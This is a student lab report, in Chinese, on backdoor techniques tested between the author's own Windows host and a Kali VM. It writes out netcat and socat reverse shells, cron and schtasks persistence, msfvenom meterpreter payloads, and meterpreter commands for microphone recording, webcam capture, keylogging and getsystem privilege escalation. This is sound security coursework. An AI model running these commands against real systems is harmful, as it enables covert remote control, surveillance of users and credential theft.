一、实验内容
1.1 实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.2 回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 攻击者通过钓鱼邮件发送伪装成“公司内部通知”的附件(如带宏的Word文档),用户打开后宏代码自动执行,在系统中下载并运行后门程序,从而建立远程控制通道。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- Windows系统:
- 修改注册表,添加后门程序路径,实现开机自启。
- 创建周期性任务,指定后门程序在特定时间或事件触发时运行。
- Linux系统:
- cron定时任务:编辑crontab文件,设置后门程序的周期性执行规则。
- 将后门程序伪装成系统服务,写入服务脚本,实现开机启动。
(3)Meterpreter有哪些给你映像深刻的功能?
- 可直接在目标主机执行系统命令,无需手动适配目标系统的Shell环境。
- 集成getsystem命令,可获取系统最高权限。
(4)如何发现自己有系统有没有被安装后门? - 进程检测:使用Windows“任务管理器”,排查名称可疑的进程。
- 网络检测:查看是否有未知IP的可疑网络连接。
- 启动项检测:检查“任务计划程序”和注册表中是否有可疑程序的启动项。
- 恶意软件扫描:使用杀毒软件进行全盘扫描,识别恶意后门程序。
二、实验过程
2.1 实验环境准备
2.1.1 IP地址确认
-
Windows 11主机:192.168.60.21
-
Kali虚拟机:192.168.124.130
2.1.2 工具安装与测试
-
ncat工具:
1.通过附件链接下载ncat.rar压缩包,解压
这里发现已经被主机检测到了一定要点击信任。
2.配置环境变量:
- 右键点击“此电脑”→选择“属性”→搜索“高级系统设置”→在“系统属性”窗口中点击“环境变量”。
- 在“系统变量”列表中找到“Path”,点击“编辑”→“新建”,输入E:\wlgf\ncat,依次点击“确定”保存所有窗口。
3.功能测试:
- 打开第一个cmd窗口,输入ncat.exe -l -p 2326:-l表示进入“监听模式”,-p 2326指定监听端口为2326,此时窗口会处于“等待连接”状态。
- 打开第二个cmd窗口,输入ncat localhost 2326:localhost表示连接本地主机,2326为目标端口。在该窗口中输入任意内容,回车后第一个窗口会同步显示该内容,说明ncat工具安装并配置成功。
-
socat工具:
1.下载socat.rar压缩包,解压。
2.配置环境变量:重复上述“环境变量”配置步骤,将socat.exe路径(E:\wlgf\socat)添加到“Path”中。
3.功能测试:
- 输入socat,如图安装成功。
- 输入socat,如图安装成功。
2.2 使用netcat获取主机操作Shell,cron启动任务
2.2.1 建立反弹Shell连接
-
Windows端:
打开cmd,输入ncat.exe -l -p 2326:在2326端口持续监听,等待来自Kali的网络连接请求。
-
Kali端:
打开Kali终端,输入nc 192.168.60.21 2326 -e /bin/sh:- nc是netcat的简写,用于发起网络连接;
- 192.168.60.21为主机IP,指定连接目标;
- 2326为监听的端口;
- -e /bin/sh表示连接成功后,将Kali的/bin/sh Shell与该连接绑定,Windows可通过该连接执行Kali的Shell命令。
-
连接验证操作:
在Windows的ncat窗口中输入ls,回车后显示Kali主机的目录列表,说明Kali的Shell已被Windows成功控制,反弹Shell建立。
这里发现中文出现了乱码。这是由于Windows 系统默认使用 GBK/GB2312 编码,而 Linux 类系统默认使用 UTF-8 编码,当两端编码不一致,中文显示为乱码。 -
在Windows 端执行chcp 65001命令切换编码为 UTF-8:
2.2.2 配置cron定时任务
-
编辑crontab文件:
在Kali终端输入crontab -e,首次执行会提示选择文本编辑器(没截到图,我选择了1.nano),选择后进入crontab编辑界面。
-
添加定时任务:
在文件末尾添加以下内容:46 * * * * /bin/netcat 192.168.60.21 2326 -e /bin/sh
crontab的时间规则由5个字段组成,含义为:分 时 日 月 周
- 46:表示“第46分钟”;
- *:分别表示“每小时”、“每天”、“每月”、“每周任意星期几”;
因此我的任务的含义是“每小时的第46分钟,执行/bin/netcat 192.168.60.21 2326 -e /bin/sh命令”。
-
保存任务:
在nano编辑器中,按Ctrl+O(保存) -> 回车 -> Ctrl+X(退出)。输入crontab -l,列出当前用户的所有cron任务。
-
测试:
在Windows端重新打开cmd,输入ncat.exe -l -p 2326开启监听。等待系统时间到达“整点46分”,在Windows的ncat窗口中输入whoami,回车后返回了Kali的用户权限,说明cron任务已成功触发,定时反弹Shell生效。
2.2.3 自定义cron任务
-
在Windows的ncat窗口中输入以下命令:
echo "* * * * * echo '20232326' > /home/kali/20232326_cron.txt" > /var/spool/cron/crontabs/root
- echo "...":生成一段crontab任务文本,内容为“每分钟向/home/kali/20232326_cron.txt文件写入学号20232326”;
- /var/spool/cron/crontabs/root:将这段文本写入root用户的crontab文件,实现任务覆盖。
-
输入crontab -l确认root用户的crontab已被修改为上述任务。
-
这里发现覆盖失败,询问AI得知是因为特殊字符未转义导致执行失败,修改命令如下
echo "* * * * * echo '20232326' > /home/kali/20232326_cron.txt" | crontab -
- 运行后发现成功覆盖。
- 等待1分钟左右后,在Kali终端输入cat /home/kali/20232326_cron.txt,显示20232326,cron任务执行成功。
- 此时在虚拟机中查看文件,文件中也发生了改变,并且若等待一小会便会弹出更新文件内容的提示:
2.3 使用socat获取主机操作Shell,任务计划启动
2.3.1 建立socat双向Shell连接
-
Windows端配置:
打开cmd,输入socat.exe tcp-listen:2326 exec:cmd.exe,pty,stderr:- tcp-listen:2326:在TCP协议的2326端口开启监听;
- exec:cmd.exe:当有连接请求时,执行Windows的cmd.exe Shell;
- pty:模拟伪终端,使cmd的交互体验更接近真实终端;
- stderr:将cmd的错误信息输出到连接通道,便于调试。
-
Kali端发起连接:
打开Kali终端,输入socat - tcp:192.168.60.21:2326:- -:将标准输入输出与连接绑定;
- tcp:192.168.60.21:2326:连接Windows的2326端口。
-
连接验证:
在Kali的socat窗口中输入dir,回车后显示Windows主机的目录列表,说明双向Shell建立。
2.3.2 配置Windows任务计划
-
在Kali的socat窗口中输入以下命令:
schtasks /create /sc minute /mo 1 /tn "20232326_Task" /tr C:\Users\Public\Desktop\QQ.lnk
- schtasks:Windows的任务计划程序命令;
- /create:表示创建新的任务计划;
- /sc minute:指定任务的触发频率为“分钟级”;
- /mo 1:指定“每1分钟”触发一次;
- /tn "20232326_Task":设置任务名称;
- /tr C:\Users\Public\Desktop\QQ.lnk:指定任务执行的程序为QQ快捷方式。
-
验证任务创建:
打开Windows的“任务计划程序”(可通过搜索“任务计划程序”启动),在“活动任务”列表中找到“20232326_Task”,观察发现任务按预期执行。
-
成功后记得删除计划任务:
schtasks /delete /tn "20232326_Task" /f
2.4 利用MSF meterpreter生成后门并获取Shell
2.4.1 生成Windows后门程序
- 在Kali终端输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.124.130 LPORT=2326 -f exe > 20232326_backdoor.exe
- msfvenom:Metasploit框架的 payload 生成工具,用于将恶意代码打包成可执行文件。
- -p windows/meterpreter/reverse_tcp:指定payload类型为“Windows平台的反向TCP连接meterpreter”,即后门程序运行后会主动向指定IP和端口发起连接,建立meterpreter会话。
- LHOST=192.168.124.130:设置本地主机IP,即Kali的IP,后门程序会向该IP发起连接。
- LPORT=2326:设置本地端口,即Kali的监听端口,后门程序会连接该端口。
- -f exe:指定生成文件的格式为Windows可执行程序(.exe)。
2.4.2 传输后门程序到Windows主机
-
Windows端:
打开cmd,输入ncat.exe -l 2326 > 20232326_backdoor.exe:
-
Kali端发送文件操作:
打开Kali终端,输入nc 192.168.60.21 2326 < 20232326_backdoor.exe:
-
传输完成。
2.4.3 配置MSF监听并获取Shell
-
打开Kali终端,输入msfconsole进入Metasploit控制台。
依次执行以下命令:
1.use exploit/multi/handler:加载“多平台监听模块”,该模块用于接收各种payload的反弹连接。
2.set payload windows/meterpreter/reverse_tcp:设置payload类型,需与生成后门时的payload一致。
3.set LHOST 192.168.124.130:设置Kali的IP(与LHOST一致)。
4.set LPORT 2326:设置监听端口(与LPORT一致)。
5.show options:查看当前模块的配置参数,确认LHOST、LPORT、payload等信息是否正确。
6.exploit:启动监听。
-
运行后门程序获取Shell:
在Windows中双击20232326_backdoor.exe(强大的联想电脑管家)
此时Kali的MSF控制台
输入pwd,如图,成功获取Shell。
2.5 利用MSF meterpreter获取目标主机信息并提权
2.5.1 多媒体信息窃取(命令功能与效果详解)
-
音频录制:
在Meterpreter会话中输入record_mic -d 10,录制目标主机的麦克风音频10s。
-
屏幕截图:
输入screenshot:
查看截图:
-
摄像头拍照:
输入webcam_snap,文件保存在/root目录下。
2.5.2 击键记录
- 输入keyscan_start:开启键盘记录功能。
- 输入keyscan_dump:查看捕获的击键内容。
2.5.3 权限提升
- getsystem命令尝试:
输入getuid,查看当前meterpreter会话的用户权限,为普通用户。输入getsystem,提升至系统管理员权限。
但是提升后仍然无法查看系统日志,尝试后放弃(毕竟是主机,不敢试了)。
2.6 生成Shellcode并注入pwn1获取反弹Shell
2.6.1 生成注入Shellcode的可执行文件
- 在Kali输入以下命令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.124.130 LPORT=0314 -x /home/kali/桌面、pwn-exp2.5 -f elf > pwnexp2-2326
2.6.2 启动Metasploit监听模块
- 打开新的Kali终端,输入以下命令启动msfconsole并配置监听(原理和上面一样):
msfconsole use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 192.168.124.130 set LPORT 0314 exploit
2.6.3 在目标主机执行注入后的后门程序
- 在第一个终端执行chmod +x pwn20232326为注入后的可执行文件赋予执行权限
- 输入./pwn20232326执行文件。
2.6.4 验证反弹Shell连接
- 当执行pwn20232326后,第二个终端的Metasploit监听终端会捕获连接
此时输入ls可对目标主机进行文件操作,说明已成功获取反弹Shell。
三、问题及解决方案
-
问题1:socat连接后Windows命令行中文乱码
-
问题1解决方案:在乱码的cmd中输入chcp 65001将cmd编码切换为UTF-8,输入完成后乱码消失,命令行显示正常
-
问题2:误将实验一中原版pwn1文件作为注入对象,而该文件未经过机器指令修改以改变执行流程,其内存布局和指令逻辑未满足Shellcode注入的前置条件,不存在可利用的缓冲区溢出点或跳转指令,导致Shellcode无法被正确执行
-
问题2解决方案:使用实验一实践一中经过机器指令修改实现执行流程跳转后的文件作为注入目标。
四、学习感悟与思考
- 通过本次实验,我对网络攻防中的“后门技术”有了更加系统性的认识。从netcat和socat的基础反弹Shell,到Metasploitmeterpreter的高级后门利用,每一步操作都让我学习并理解了攻击者是如何控制目标主机的。
- 这次实验也让我接触到了很多新的工具和命令,刚接触这些比较生疏,通过不断地查阅学长学姐们实验报告以及拷问AI才弄懂了这些工具和命令可以怎么使用,有什么含义。通过实际操作这些工具,我不仅掌握了它们的使用方法,更重要的是理解了背后的原理和逻辑。学会了什么不重要,重要的是学会了如何去学习。
- 在实验过程中也遇到了很多问题,比如在注入Shellcode时遇到的无法执行的问题。刚开始没有找到问题所在,询问AI找偏了方向,一直在确认pwn1与shellcode的兼容性。尝试多次后还是不行,最后才发现是注入文件的选择出了问题。这个过程让我深刻体会到了理论与实践相结合的重要性。通过不断试错,才能解决问题,对学习到的东西理解更加深刻。
- 此外,本次实验也让我对“攻防对抗”的本质有了更深的思考:技术本身是中性的,netcat、socat、Metasploit既可以是攻击者的武器,也可以是防御者的检测工具。作为网络空间安全学习者,我们要做的是掌握技术原理,站在防御视角去思考攻击路径,从而构建更完善的安全防护体系。
五、参考资料
- MAL_Shellcode基础
- MAL_使用netcat进行反弹链接的shellcode
- 工具下载链接